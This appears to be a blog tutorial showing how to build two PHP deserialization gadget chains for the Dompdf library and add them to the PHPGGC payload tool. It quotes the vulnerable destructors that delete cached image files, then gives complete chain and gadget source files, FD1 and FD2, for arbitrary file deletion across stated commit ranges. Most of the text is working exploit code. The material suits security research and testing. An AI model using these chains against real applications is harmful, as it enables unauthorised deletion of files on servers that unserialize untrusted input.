Today we will see how to quickly find two gadget chains in Dompdf. The first one working for versions higher than commit a13af8d4bdab280bf8c48dbc23a4d51cac6af202 (1 Dec 2021) and the second one for the versions lower than commit 61c86c04d2a483187ff9f6a73c50d42669be5b4d.

The first one for versions higher than commit a13af8d4bdab280bf8c48dbc23a4d51cac6af202 is exploitable because of the file lib/Cpdf.php

File: lib/Cpdf.php (commit => a13af8d4bdab280bf8c48dbc23a4d51cac6af202)

<?php

...

namespace Dompdf;

...

class Cpdf
{

    ...

    /**
     * @var array List of temporary image files to be deleted after processing.
     */
    protected $imageCache = [];

    ...

    public function __destruct()
    {
        foreach ($this->imageCache as $file) {
            if (file_exists($file)) {
                unlink($file);
            }
        }
    }

    ...

}

And the second one for versions lower than commit 61c86c04d2a483187ff9f6a73c50d42669be5b4d is exploitable because of the file src/Adapter/CPDF.php.

File: src/Adapter/CPDF.php (commit < 61c86c04d2a483187ff9f6a73c50d42669be5b4d)

<?php

...

namespace Dompdf\Adapter;

...

class CPDF implements Canvas
{

    ...

    /**
     * The Dompdf object
     *
     * @var Dompdf
     */
    protected $_dompdf;

    ...

    /**
     * Array of temporary cached images to be deleted when processing is complete
     *
     * @var array
     */
    protected $_image_cache;

    ...

        /**
     * Class destructor
     *
     * Deletes all temporary image files
     */
    public function __destruct()
    {
        foreach ($this->_image_cache as $img) {
            // The file might be already deleted by 3rd party tmp cleaner,
            // the file might not have been created at all
            // (if image outputting commands failed)
            // or because the destructor was called twice accidentally.
            if (!file_exists($img)) {
                continue;
            }

            if ($this->_dompdf->getOptions()->getDebugPng()) {
                print '[__destruct unlink ' . $img . ']';
            }
            if (!$this->_dompdf->getOptions()->getDebugKeepTemp()) {
                unlink($img);
            }
        }
    }

    ...
}

So we will add to PHPGCC two gadget chains.

First gadget chain

Let’s create the two files:

  • gadgetchains/Dompdf/FD/1/chain.php
  • gadgetchains/Dompdf/FD/1/gadgets.php

File: gadgetchains/Dompdf/FD/1/chain.php

<?php

namespace GadgetChain\Dompdf;

class FD1 extends \PHPGGC\GadgetChain\FileDelete
{
    public static $version = 'commit a13af8d4bdab280bf8c48dbc23a4d51cac6af202, 1 Dec 2021 (~v1.1.1) <= exploitable';
    public static $vector = '__destruct';
    public static $author = 'coiffeur';
    public static $information = '
        Note that some files may not be removed (depends on permissions)
    ';

    public function generate(array $parameters)
    {
        return new \Dompdf\CPDF($parameters['remote_path']);
    }
}

File: gadgetchains/Dompdf/FD/1/gadgets.php

<?php

namespace Dompdf;

class Cpdf
{
    public $imageCache = [];

    public function __construct($remote_path) {
        array_push($this->imageCache, $remote_path);
    }

}

Second gadget chain

Let’s create the two files:

  • gadgetchains/Dompdf/FD/2/chain.php
  • gadgetchains/Dompdf/FD/2/gadgets.php

File: gadgetchains/Dompdf/FD/2/chain.php

<?php

namespace GadgetChain\Dompdf;

class FD2 extends \PHPGGC\GadgetChain\FileDelete
{
    public static $version = 'exploitable < commit 61c86c04d2a483187ff9f6a73c50d42669be5b4d, 1 Dec 2021 (~v1.1.1)';
    public static $vector = '__destruct';
    public static $author = 'coiffeur';
    public static $information = '
        Note that some files may not be removed (depends on permissions)
    ';

    public function generate(array $parameters)
    {
        return new \Dompdf\Adapter\CPDF($parameters['remote_path']);
    }
}

File: gadgetchains/Dompdf/FD/2/gadgets.php

<?php

namespace Dompdf\Adapter {
    use Dompdf\Dompdf;

    class CPDF
    {
        public $_dompdf;
        public $_image_cache = [];

        public function __construct($remote_path) {
            $this->_dompdf = new Dompdf();
            array_push($this->_image_cache, $remote_path);
        }
    }
}

namespace Dompdf {
    class Options {
        public $debugPng = false;
    }

    class Dompdf {
        public $options;

        public function __construct() {
            $this->options = new Options();
        }
    }
}